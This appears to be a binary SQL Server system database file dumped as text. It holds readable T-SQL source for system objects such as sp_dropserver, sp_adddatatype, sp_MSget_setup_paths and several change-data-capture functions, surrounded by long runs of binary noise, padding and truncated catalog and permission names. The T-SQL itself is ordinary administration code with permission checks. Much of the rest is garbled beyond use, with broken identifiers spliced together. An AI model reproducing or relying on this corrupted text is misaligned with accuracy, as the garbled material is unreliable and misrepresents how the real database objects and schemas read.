3s_rejectedsc_binule_object_idheduler_addressma_idCOLLECTION_SCHEMANAMEoping_xml_component_ide_nullBitInLeafRowscondary_role_allow_connections_desclmodice_accountLoginNamehared_memory_committed_kblot IDortOrderurce_nullableQL_DATETIME_SUBPATHrvidS_IS_COMPUTEDUDT_ASSEMBLY_TYPE_NAMEXML_SCHEMACOLLECTION_CATALOGNAMEtack_size_in_bytesment_offset_endopwordubjectvcidynchronization_healthstem_lookupstype_idupdatesTABLE_CATALOGrget_idsk_addressext_sizehread_idime_to_generateo_service_nametal_cpu_usage_mselapsed_timelogical_readsphysical_memory_kbscheduled_timerace_column_idnsaction_idport_stream_idUDT_CATALOGNIQUEpdate_referential_actioned_pagesr_obje!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<1<
3!9cts_alloc_page_counts_ansi_nullsvalclass_of_memoryersion_store_reserved_page_countirtual_address_space_reserved_kbwait_durationing_tasks_countith_check_optionrite_accessszArtpartialupdcmdxml_collection_idK

@@!"&*@5;*?Kafhlm@nq@
ef
,$:;<@JKOW[\g
o|A@e	h@h
$@			
	"'@78@@A@GOQWX]afm
p@zA^@
@
-@HMNZ[\]Ab@cghmy}RS@@	h!@(
)	3<DEGLSUWY[]@cd
istuyfg


@%	@.03?AChEMNO@QTcnv	w@@
@*$B$
"@'2468X:	<4@78AEQ_efj@or}
@$f@@fB]	
U	$-@5<f@GIYgk
z
Z[\

@
	@fefmfPNOf
hhf	@
$rsx
*4	5>
R\^e{@&
@bSTUVUX89	
	f@			"	#	
$	

1	M@>	D	hF		G	P	\	o			
		WX]
	@BCi								Aj						
@Of
h@


h

'
@9
=
hA
B
C
D
	F
Lh@C
O
Y
Z
Aj
q






i




@



@


@


 

i



@
				*178@GJ_gw
@
@ ,789
DQY_`hv@@fh@


@

!
"
6
B
C
J
	Q
Z
m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	?	b				
U
t


*iMt
H
s


&uY%JyG9l"] Eb%Jm8q6W.Sz*Uz
8g._
-JJq/hP Y    #!T!q!!!!"X"""""#Y#x###$8$Y$~$$$$%E%%%%%(&S&&@@?0?@@?CAF: aggregate function0@?)AGGREGATE0@@??ALL SETTABLE OPTIONS0??9ANSI null default0?@?1ansi_warnings0@@?7APPLICATION ROLE0??#Arabic0@?+arithabort0??-arithignore0@@@3ASYMMETRIC KEY0@@@=ASYMMETRIC KEY USER0??AU0??-auto create0??Cauto create statistics0??Cauto update statistics0??)autoclose0??+autoshrink0@?;AVAILABILITY GROUP0?@@?#binary0@@@?5BROKER PRIORITY0?@@?)bulkadmin0??1C : check cns0@?-CERTIFICATE0@@@7CERTIFICATE USER0??char0@?7CHECK CONSTRAINT0??7cleanly shutdown0??)clustered0??CNVT0???collation compatible0??#common0??7COMPATIBLE TYPES0??Econcat null yields null0??Econcat_null_yields_null0@?'CONTRACT0??5Create Database0??3Create Default0??5Create Function0??7Create Procedure0@@@?+CREDENTIAL0@@?CCRYPTOGRAPHIC PROVIDER0???Ccursor_close_on_commit0?@@?-data access0@@@ODATABASE AUDIT SPECIFICATION0@@?EDATABASE ENCRYPTION KEY0?@?'datetime0?@@?;DB Backup Operator0?@?=DB Deny Data Writer0??)DB Owners0??KDB Security Administrators0??)dbcreator0??/dbo use only0@@?%DEFAULT0??/default disk0??Edefault to local cursor0??'deferred0???Deny0??Cdisable_def_cnst_check0??=Disk Administrators0??)diskadmin0??dist0??-Distributed0??dpub0??!Dutch0??3emergency mode0??CEN: event notification0@?'ENDPOINT0??%English0??'Estonian0@?;EVENT NOTIFICATION0???IEVENT NOTIFICATION OBJECT0??IEVENT NOTIFICATION SERVER0@?1EVENT SESSION0??%Execute0??EXT0??EExtent Lock - Exclusive0??;Extent Lock - Next0??CExtent Lock - Previous0?@@?%Finnish0???#floatn0@@?CFOREIGN KEY CONSTRAINT0???OFS: assembly scalar function0???9full text enabled0@@@9FULLTEXT STOPLIST0@?'FUNCTION0?@@?UFUNCTION TABLE-VALUED ASSEMBLY 0???IFUNCTION TABLE-VALUED SQL0@@?!Grant0@@?+GROUP USER0?@@?=IF: inline function0@@@?!INDEX0?@@?/int high bit0?@?intn0?@@?%Italian0?@?'japanese0???#Korean0??%L : log0??%Latvian0??Clazy schema validation0??+Lithuanian0??%loading0??+LOCK OWNER0??5LOCK REQ STATUS0??3LOCK RESOURCES0??+LOCK TYPES0??/logical disk0@?!LOGIN0@?+MASTER KEY0??MD0??1merge publish0@?/MESSAGE TYPE0??1missing files0??!money0??#moneyn0??no0???/nonclustered0?@@?NUL0@@@?#OBJECT0?@@?PAG0@@@7PARTITION SCHEME0?@@?#Polish0@@@?-PRIMARY KEY0?@@?)published0@?!QUEUE0?@@?/RangeIn-Null0?@@?'RangeS-S0?@@?'RangeX-X0@?)read only0?@@?+References0@@?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>
8
PvFRn%?;h/B"Ch/B$''@T5|od	c		
j



*u8m
V


>"mQ#d@s"W=t%No>$K#b&QCr>qEP @ w   !5!h!!!
":"s"""#M###0??EAdd extended procedures0??EAdd member to bulkadmin0??EAdd member to dbcreator0??EAdd member to diskadmin0??KAdd member to processadmin0??MAdd member to securityadmin0??IAdd member to serveradmin0??GAdd member to setupadmin0??CAdd member to sysadmin0??UAdd/drop to/from db_accessadmin0??[Add/drop to/from db_backupoperator0??SAdd/drop to/from db_datareader0??SAdd/drop to/from db_datawriter0??OAdd/drop to/from db_ddladmin0??[Add/drop to/from db_denydatareader0??[Add/drop to/from db_denydatawriter0??IAdd/drop to/from db_owner0??YAdd/drop to/from db_securityadmin0??YAdd/drop/configure linked servers0??UAll DDL but GRANT, REVOKE, DENY0??3ALTER DATABASE0??5BACKUP DATABASE0??+BACKUP LOG0@?-BULK INSERT0??KBulk Insert Administrators0??+CHECKPOINT0??IComplete SETUSER SQL user0??OConstraints on System tables0??5CREATE DATABASE0??UCreate indices on system tables0??[Create/delete/modify system tables0??9Database Creators0??GDB Access Administrators0??;DB Backup Operator0??3DB Data Reader0??3DB Data Writer0??ADB DDL Administrators0??=DB Deny Data Reader0??=DB Deny Data Writer0??)DB Owners0??KDB Security Administrators0??Cdbcc change 'on' rules0??5dbcc checkalloc0@?/dbcc checkdb0@?=dbcc checkfilegroup0@?5dbcc checkident0@?5dbcc checktable0??5dbcc cleantable0@?3dbcc dbreindex0??Adbcc dropcleanbuffers0??;dbcc freeproccache0??7dbcc inputbuffer0??9dbcc outputbuffer0??1dbcc pintable0@?3dbcc proccache0??9dbcc setcpuweight0??7dbcc setioweight0@@??dbcc show_statistics0@@?5dbcc showcontig0??=dbcc showoptweights0@?=DBCC ShrinkDatabase0@?5dbcc shrinkfile0??7dbcc traceon/off0??7dbcc updateusage0??UDELETE permission on any object0??DENY0??=Disk Administrators0??)DISK INIT0??1DROP DATABASE0??AEXECUTE any procedure0??5Extend database0??!GRANT0??YGrant/deny/revoke CREATE DATABASE0??UINSERT permission on any object0??KILL0?@?[No UPDATE permission on any object0??CProcess Administrators0??;Raiserror With Log0??;Read the error log0??-RECONFIGURE0??[REFERENCES permission on any table0??7RESTORE DATABASE0??-RESTORE LOG0??#REVOKE0??ESecurity Administrators0???AServer Administrators0???Setup Administrators0??'SHUTDOWN0??1sp_addapprole0???sp_addlinkedsrvlogin0??-sp_addlogin0??+sp_addrole0??7sp_addrolemember0??5sp_addumpdevice0??+sp_adduser0???;sp_approlepassword0@?Asp_change_users_login0??7sp_changedbowner0@??sp_changeobjectowner0??/sp_configure0??3sp_dbcmptlevel0??/sp_defaultdb0??;sp_defaultlanguage0??/sp_denylogin0??3sp_diskdefault0??3sp_dropapprole0??1sp_dropdevice0??Asp_dropl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<v	?
8q(	FRinkedsrvlogin0??/sp_droplogin0@?;sp_dropremotelogin0??-sp_droprole0??9sp_droprolemember0??-sp_dropuser0??=sp_fulltext_catalog0??;sp_fulltext_column0???sp_fulltext_database0@?=sp_fulltext_service0@?9sp_fulltext_table0??7sp_grantdbaccess0??1sp_grantlogin0??1sp_helplogins0@?-sp_password0??/sp_recompile0??3sp_refreshview0??5sp_remoteoption0??Gsp_remoteoption (update)0??)sp_rename0??-sp_renamedb0??9sp_revokedbaccess0??3sp_revokelogin0@?3sp_tableoption0??3sp_updatestats0??ASystem Administrators0??3TRUNCATE TABLE0??UUPDATE permission on any object0??IUSE to a suspect database(("Add extended procedures/drop to/from db_accessadmin/configure linked serversComplete SETUSER SQL userDB Data Writercc checkdbdbreindexsetioweighthrinkDatabaseROP DATABASENo INSERT permission on any objectRESTORE LOGsp_addloginchangedbownerdropapprolefulltext_cataloghelploginsrevokedbaccess@@3Lefg@sv	}@

"@


!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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W INFORMATION_SCHEMA.VIEW_COLUMN_USAGE
AS
SELECT
	DB_NAME()					AS VIEW_CATALOG,
	SCHEMA_NAME(v.schema_id)	AS VIEW_SCHEMA,
	v.name						AS VIEW_NAME,
	DB_NAME()					AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS TABLE_SCHEMA,
	t.name						AS TABLE_NAME,
	c.name						AS COLUMN_NAME
FROM
	sys.views v JOIN sys.sql_dependencies d ON d.object_id = v.object_id
	JOIN sys.objects t ON t.object_id = d.referenced_major_id
	JOIN sys.columns c ON c.object_id = d.referenced_major_id
		AND c.column_id = d.referenced_minor_id
WHERE
	d.class < 2
0T 8create procedure sys.sp_dropserver
	@server		sysname,			-- server name
	@droplogins	char(10) = NULL		-- drop all related logins?
as
	declare @ret int, @is_linked bit, @server_id int
	select @droplogins = LOWER(@droplogins collate Latin1_General_CI_AS)

	-- DISALLOW USER TRANSACTION
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_dropserver')
		return (1)
	end

	-- CHECK PERMISSIONS
	if not (has_perms_by_name(null, null, 'alter any linked server') = 1)
	begin
		EXEC %%System().AuditEvent(ID = 1380209484, Success = 0, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
		raiserror(15247,-1,-1)
		return (1)
	end
	else
	begin
		EXEC %%System().AuditEvent(ID = 1380209484, Success = 1, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = NULL, Server = @server)
	end

	-- VALIDATE OPTION
	if @droplogins is not null AND @droplogins <> 'droplogins'
	begin
		raiserror(15600,-1,-1, 'sys.sp_dropserver')
		return (1)
	end

	begin transaction

	-- CHECK/LOCK SERVER NAME / GET SERVER ID
	EXEC %%LinkedServer ( Name = @server ) . Lock ( Exclusive = 1 )
	IF @@ERROR <> 0
	begin
		rollback tran
		raiserror(15015,-1,-1,@server)
		return (1)
	end

	-- CHECK @droplogins PARAMETER: No sysremotelogins OR sysoledbusers ROWS EXCEPT
	--	THE DEFAULT OLEDB-MAPPING.
	if @droplogins is null AND exists (
		SELECT * FROM master.dbo.sysservers s WHERE s.srvname = @server AND
			(	exists (select * from master.dbo.sysremotelogins WHERE remoteserverid = s.srvid)
			OR	exists (select * from master.dbo.sysoledbusers WHERE rmtsrvid = s.srvid
						AND NOT (loginsid IS NULL AND status = 1) )
		)	)
	begin
		rollback tran
		raiserror(15190,-1,-1,@server)
		return (1)
	end

	-- CHECK TO SEE IF THE SERVER IS USED BY REPLICATION.
	if object_id('sp_MSrepl_check_server') is not null
	begin
		EXEC @ret = sp_MSrepl_check_server @server
		if @ret <> 0 or @@error <> 0
		begin
			rollback tran
			return 1
		end
	end
	
	-- is this a linked server?
	select @is_linked = is_linked, @server_id = server_id from sys.servers where name = @server

	-- DROP THE SERVER (ALSO DROPS ALL REMOTE/LINKED LOGINS)
	EXEC %%LinkedServer ( Name = @server ) . Remove()

	-- Server_id = 0 means the local server name
	if @server_id = 0
	begin
		-- EMDEventType(x_eet_Alter_Instance), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 214, ID = 100, ID = 0, ID = 0, Value = NULL,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else if @is_linked = 1
	begin
		-- EMDEventType(x_eet_Drop_LinkedServer), EMDUniversalClass(x_eunc_LinkedServer), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 262, ID = 102, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	else
	begin
		-- EMDEventType(x_eet_Drop_Remote_Server), EMDUniversalClass(x_eunc_Server), src major id, src minor id, src name
		-- -1 means ignore target stuff, target major id, target minor id, target name,
		-- # of parameters, 5 parameters
		EXEC %%System().FireTrigger(ID = 240, ID = 100, ID = 0, ID = 0, Value = @server,
			ID = -1, ID = 0, ID = 0, Value = NULL, 
			ID = 2, Value = @server, Value = @droplogins, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	end
	-- SUCCESS
	commit transaction
	return (0) -- sp_dropserver
0t%@ 28create procedure sys.sp_MSlogshippingsysadmincheck
(
    @mode tinyint = 1   -- 0 = check for installing metadata, 1 = security check for SPs
)
as
begin
    set nocount on
    declare @edition sysname
    --
    -- must be sysadmin
    --
    if (isnull(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return 1
    end
    --
    -- validate @mode
    --
    if (@mode not in (0,1))
        return 1
    --
    -- skip this block when installing metadata
    -- we will install metadata on all editions
    --
    if (@mode != 0)
    begin
        --
        -- do Edition check
        -- Log shipping will be supported on Web, Standard, Developer, Enterprise, DataCenter and Workgroup
        --
        if (cast(SERVERPROPERTY('EngineEdition') as int) not in (2,3))
        begin
            select @edition = cast(SERVERPROPERTY('Edition') as sysname)
            raiserror(32017, 16, -1, @edition)
            return 1
        end
        --
        -- Has log shipping been installed
        --
        if object_id(N'msdb.dbo.log_shipping_monitor_alert') is null
        begin
            raiserror(32018, 16, 1)
            return 1
        end
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n`bZ
<
hA
2#0@ Z8CREATE PROCEDURE sys.sp_changesubscription 
(
    @publication 	sysname,
    @article		sysname,
    @subscriber 	sysname,
    @destination_db	sysname,
    @property 		nvarchar(30),      
    @value 			nvarchar(4000),
    @publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changesubscription'
	
	EXEC @retcode = @cmd
					@publication 	= @publication,
				    @article 		= @article,
				    @subscriber 	= @subscriber ,
				    @destination_db	= @destination_db,
				    @property 		= @property,      
				    @value 			= @value,
				    @publisher		= @publisher,
				    @publisher_type	= @publisher_type

	RETURN (@retcode)
END
0l0@ %8--
-- Name: sp_MSget_setup_paths
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSget_setup_paths (
@sql_path    NVARCHAR(260) = NULL OUTPUT, 
@data_path    NVARCHAR(260) = NULL OUTPUT )
AS
BEGIN
    
    DECLARE @retcode INTEGER
    DECLARE @regkey NVARCHAR(260)
    
    SET NOCOUNT ON 
    
    EXECUTE @retcode = master.dbo.xp_instance_regread 'HKEY_LOCAL_MACHINE', 
        'SOFTWARE\Microsoft\MSSQLServer\Setup',
        'SQLPath',
        @param = @sql_path OUTPUT

    IF ( @retcode <> 0 ) or ( @@ERROR <> 0 ) 
        RETURN (1)
    
    EXECUTE @retcode = master.dbo.xp_instance_regread 'HKEY_LOCAL_MACHINE', 
        'SOFTWARE\Microsoft\MSSQLServer\Setup',
        'SQLDataRoot',
        @param = @data_path OUTPUT

    IF ( @retcode <> 0 ) or ( @@ERROR <> 0 ) 
        RETURN (1)

    RETURN (0)

END
0@ \8X@h>8^Uay0I@ 8create procedure sys.sp_cdc_help_jobs_internal
with execute as 'dbo'
as
begin
    set nocount on

    if object_id('msdb.dbo.cdc_jobs') is not null
    begin
        select j.job_id as job_id,
            j.job_type as job_type,
            s.name as job_name,
            j.maxtrans as maxtrans,
            j.maxscans as maxscans,
            j.continuous as continuous,
            j.pollinginterval as pollinginterval,
            j.retention as retention,
            j.threshold as threshold
        from msdb.dbo.cdc_jobs j inner join msdb.dbo.sysjobs s
        on j.job_id = s.job_id
        where database_id = db_id()

    end

    return(0)
end
0n ?8-- This function takes a string as input and returns true if the type
-- in the string is blob. This function is called in places that have
-- to do some special processing for blob columns.
create function sys.fn_IsTypeBlob (@system_type_id int, @max_length int)
returns bit
as
begin
    declare @IsBlob bit

    if type_name(@system_type_id) in ('image', 'text', 'ntext', 'xml') or @max_length = -1
    begin
        set @IsBlob = 1
    end     
    else
    begin
        set @IsBlob = 0
    end

    return @IsBlob
end
0O %8create function sys.fn_cdc_has_column_changed				
(														
	@capture_instance		sysname,
	@column_name			sysname,
	@update_mask			varbinary(128)									
)														
returns bit
with returns null on null input
as													
begin
	declare @ordinal_position int
		,@is_bit_set bit
		,@change_table nvarchar(1000)

	if @capture_instance is null or rtrim(@capture_instance) = N'' or
		@column_name is null or rtrim(@column_name) = N'' or
		@update_mask is null 
	begin
		return null
	end
	
	set @change_table = N'[cdc].' + 
		quotename(rtrim(@capture_instance) + N'_CT') 
		
	if not exists
	(
		select name
		from sys.columns
		where object_id = object_id(@change_table)
		and name = rtrim(@column_name)
	)
	begin
		return null
	end
			
	select @ordinal_position = [sys].[fn_cdc_get_column_ordinal] (rtrim(@capture_instance)
		,@column_name)
			
	select @is_bit_set = [sys].[fn_cdc_is_bit_set](@ordinal_position,
		@update_mask)
			
	return @is_bit_set
end																				
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!C;	`<;B
2"A0O) 8create function sys.fn_MSrowispastretention (@tablenick int, @changed int, @today datetime)
returns bit
as
begin
	-- 2 is subtracted because of: 1 for clock inaccuracies, 1 for 366 vs. 365 days in a year.

	if (sys.fn_MSdayasnumber(@today) - @changed - 2) > sys.fn_MSgetmaxlightweightretention(@tablenick)
	begin
		return 1
	end

	return 0
end
0W.@ 8
--
-- Name:
--		sp_adddatatype
--
-- Description:
--		Add DBMS data type as an available type
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Implicitly will create a DBMS if it doesn't currently exist.
--

CREATE PROCEDURE sys.sp_adddatatype
(
	@dbms			sysname,
	@version		sysname = NULL,
	@type			sysname,
	@createparams	int = 0
)
AS
BEGIN
	DECLARE @dbms_id int

    SET NOCOUNT ON

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Prepare dbms for case insensitive searches
	SET @dbms = UPPER(@dbms)

	BEGIN TRAN
	SAVE TRAN adddatatype
	
	-- Get DBMS id
	SELECT	@dbms_id = dbms_id
	FROM	msdb.dbo.MSdbms
	WHERE	dbms	= @dbms
	  AND	version = @version

	IF @dbms_id IS NULL OR @@ERROR <> 0
	BEGIN
		-- Add new DBMS
		INSERT INTO msdb.dbo.MSdbms (dbms, version)
		VALUES (@dbms, @version)
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION adddatatype
				COMMIT TRAN
			END
			RETURN (1)
		END
		
		SELECT @dbms_id = IDENT_CURRENT('msdb.dbo.MSdbms')
	END

	-- Verify data type doesn't already exist
	IF EXISTS
	(
		SELECT	datatype_id
		FROM	msdb.dbo.MSdbms_datatype
		WHERE	dbms_id	= @dbms_id
		  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
			UPPER(@type) COLLATE DATABASE_DEFAULT
	)
	BEGIN
		RAISERROR (21655, 16, -1, @type)
		
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION adddatatype
			COMMIT TRAN
		END
		RETURN (1)
	END
		
	-- Add data type
	INSERT INTO msdb.dbo.MSdbms_datatype (dbms_id, type, createparams)
	VALUES (@dbms_id, @type, @createparams)

	IF @@ERROR <> 0
	BEGIN
		IF @@TRANCOUNT > 0
		BEGIN
			ROLLBACK TRANSACTION adddatatype
			COMMIT TRAN
		END
		RETURN (1)
	END
	
	COMMIT TRAN
	RETURN (0)		
END
0/@ v8create procedure sys.sp_scriptupdproc 
(
    @artid int                  -- id of the article we are processing
    ,@mode tinyint = 1    -- 1 = static scripting, 2 = dynamic scripting
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptupdproccore 
             @artid = @artid
            ,@format = 1        -- CALL format
            ,@mode = @mode
            ,@publishertype = @publishertype
            ,@publisher = @publisher
    return @retcode
end
0vZ1@ D8xqh
7
0-3 8create procedure sys.sp_db_increased_partitions
(
	@dbname sysname = null,
	@increased_partitions varchar(6) = null
)
as
	-- If database is not specified then is current database
	if (@dbname is null)
	begin
		set @dbname = DB_NAME();
	end

	-- If ON/OFF parameter is specified then is an action call
	if @increased_partitions is not null
	begin
		if (lower(@increased_partitions) not in ('on', 'off', 'true', 'false'))
		begin
			raiserror (15231, 16,1, '@status','sp_db_increased_partitions');
			return (1);
		end

		declare @fOnOff bit = 0;
		set @fOnOff = case lower(@increased_partitions) 
			when 'on' then 1
			when 'true' then 1
			else 0
			end;

		-- SQL 11: is not possible to disable support, raise informational message
		if @fOnOff = 0
		begin
			raiserror (657,0,1);
		end
	end
	
	-- SQL 11: Always ON
	select cast(1 as bit) as increased_partitions
		 from sys.databases
		 where name = @dbname;

	return (0);
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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p??q??0<$f
#?;;s;NN`eB
C@%AӛBp-BWl)>Sh}%:Ody!6K`u2G\q.CXm??
???????????????@???????????!???#???%??&?@?*???,???.??/??2???4???6??7??:???<??=??C???E???G???I???K???M???O???Q???S???U???W???Y???[???]???_???a??b??d??w???y??z?@?~????????????????????????????????????@@??????????????????????????????@@???????????????0< "0<$ky%>%A
C%A9b0??!sqlos0C?)sqlserver0@?ucs((sqlosserver@@0< "0<$H+rhp
#0<{ "0<{ "0<{ "0< "0< "0< "0< "0< "0< "0<W# "0<W#$LL%LLr>=?B?,@Th|0DXl@?"@@@$@?(@@@*@?+@?0@@@8@?:@@@<@@@>@?b@?c@?h@@@l@?z@?@?@?@?@?@?@?@?@@@@?L0<W# "0<W#$L%LL?*>(?BPB(?| 7Ne@?@@@A? A?L0<W# "0<W#$L%LL??B?8@$B?B?L0<W# "!!!!!!!!!!!!!!!!!!!!!!!=qO-<xE
